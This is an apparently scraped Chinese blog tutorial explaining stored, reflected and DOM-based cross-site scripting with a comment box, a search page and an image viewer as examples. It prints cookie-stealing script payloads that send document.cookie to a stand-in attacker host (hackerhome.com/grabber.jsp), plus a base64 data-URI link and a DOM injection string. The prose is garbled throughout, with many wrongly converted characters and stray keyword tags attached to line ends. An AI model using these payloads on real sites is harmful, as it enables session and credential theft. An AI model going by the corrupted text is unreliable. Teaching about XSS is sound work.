最近纔開始研究HTML以及安全問題。若是有什麼說得不對的地方,望請指出。javascript
在網絡應用安全中,XSS多是最多見,範圍最大,所包含攻擊方法最多,同時也是最難以理解的一種攻擊。在OWASP所列出的十大網絡應用安全風險中,其排名第二位,僅次於SQL Injection。php
就以一個博客應用爲例。其經常須要容許讀者對博主的文章進行評論。在輸入評論的編輯欄中,咱們能夠輸入對該文章的評論,也能夠輸入如下HTML標記:html
1 <Script>alert(「XSS attack available!」);</Script>
在讀者按下提交鍵以後,該標記將被提交到服務器上,並在其它用戶訪問時做爲評論顯示。此時該用戶所看到網頁中包含該標記的部分元素可能爲:java
1 <div> 2 <Script>alert(「XSS attack available!」);</Script> 3 </div>
而從用戶的角度來看,該網頁中就出現了一個警告:數據庫
也就是說,用戶輸入的腳本語言已經被用戶的瀏覽器成功執行。固然,這可能只是一個對該網站的善意提醒。可是對於一個真正具備惡意的攻擊者,其所插入的腳本代碼更可能以下所示:瀏覽器
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' 2 width=16 height=16 border=0 />');</script>
該段腳本將向當前評論內插入一個圖片,而該圖片所對應的URL則指向了hackerhome中的JSP頁面grabber.jsp。從訪問該評論的用戶這一角度看來,其僅僅是一個不能顯示的圖片。可是對於惡意攻擊者而言,該JSP頁面將自動記錄傳入的msg參數內容,即訪問評論用戶所使用的cookie。該cookie可能包含用戶的敏感信息,甚至是用戶名,密碼等重要信息安全
上面的XSS示例其實是最容易理解的一種:Stored。除此以外,XSS攻擊還包含另外兩種攻擊方式:Reflected以及DOM Based(Type-0 XSS)。下面咱們就來具體講解各個攻擊方式以及各自的特色。服務器
首先要講解的就是咱們已經見過的Stored攻擊。該攻擊的最大特色就是,用於攻擊的數據永久地存儲在目標網站的服務器中。試着回想上面所給出的例子:在惡意用戶提交帶有惡意代碼的評論時,爲了能讓該評論能夠被其它用戶看到,網站的開發人員必然須要將其永久性地存儲起來,例如數據庫。使用該方法進行攻擊的XSS將對全部訪問該頁面的用戶可見,而且一直保存下去,直到該評論被管理員處理。cookie
第二類XSS攻擊則是Reflected攻擊。該攻擊的最大特色則與Stored攻擊相對:用於攻擊的數據並非永久地存儲在目標網站的服務器中。網絡
那這種攻擊是如何實現的呢?請試想這樣一種狀況:某個網站容許其用戶經過搜索的方式查找具備特定名稱的商戶。對於商戶名稱SomeStore,該搜索功能所返回的頁面地址可能爲:
1 www.SomeWeb.com/search.jsp?storename=SomeStore
若是該查找功能沒有查找到具備該名稱的商戶,那麼網站將會返回一個錯誤頁面:沒有查找到名稱爲SomeStore的商戶信息。此時惡意用戶首先能夠經過在搜索欄中輸入<Script>alert(「XSS attack available!」);</Script>並執行搜索判斷該網站是否有XSS漏洞。若是返回的搜索頁面出現了「XSS attack available!」消息框,那就表示該頁面僅僅簡單地將URL中的參數SomeStore顯示在了頁面之中,而並無對腳本的執行作出防備。接下來,惡意用戶就能夠將商戶名設爲以下的惡意代碼:
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' 2 width=0 height=0 border=0 />SomeStore');</script>
也正是因爲搜索頁面僅僅簡單地將該部分組成直接嵌於頁面之上,所以用戶從服務器端獲得的網頁將包含該段代碼,其將自動訪問hackerhome上的grabber.jsp,並將用戶的cookie做爲參數msg的值,從而使得受害者的cookie失竊。
可是如何讓用戶訪問這個頁面呢?很簡單,惡意用戶僅僅須要向那些受害者發送該搜索的連接,併爲該連接附上一段具備吸引力的話便可。若是受害者點擊了該惡意連接,同時該網站的cookie在受害者的本地機器上沒有過時,那麼這個cookie將被惡意網站hackerhome所竊取。
還有一種類型的攻擊也被歸類爲Reflected類型的攻擊,那就是利用data:協議動態生成文件。該協議容許客戶端直接建立二進制文件,如Doc或PDF文件等,並使用相應應用程序打開該文件。例如,惡意用戶能夠經過XSS插入下面的連接:
1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h 2 4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>
若是用戶點擊了該連接,那麼電腦將自動使用關聯的程序打開該文件。因爲這些文件的讀取等動做都須要相應的應用程序支持,所以惡意人員能夠更進一步地利用相應的應用程序漏洞執行更豐富的攻擊。
最後一種則是DOM Based攻擊,又經常被稱爲Type-0 XSS攻擊。它與前兩種攻擊方式擁有很大的不一樣:Stored和Reflected方式中,對有害內容的生成是在服務端完成的,而DOM Based攻擊中,對有害內容的生成是在客戶端完成的。例如一個圖片瀏覽頁面在URL中使用index參數表示當前用戶所察看圖片的索引,並經過javascript動態寫入HTML元素:
1 <script> 2 var index = getIndex(document.URL); 3 document.write(「<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’」) 4 </script>
那麼惡意用戶就能夠經過在URL的index參數中插入其它信息來完成。例如在該URL中,惡意用戶能夠爲index參數指定參數值後額外添加一部分惡意語句,如通過編碼後的index=1/><script>alert(「XSS attack available!」)</script><img width=0 height=0。固然,惡意用戶並不會但願用戶本身攻擊本身,所以他仍然須要作一些額外的社會工做,例如發送郵件給受害者並誘使他點擊該有害連接等。
2、Tomcat當中設置哪些地方能夠減小XSS 攻擊
3、某論壇xss刷票實踐
http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8641&highlight=%E5%88%B7%E7%A5%A8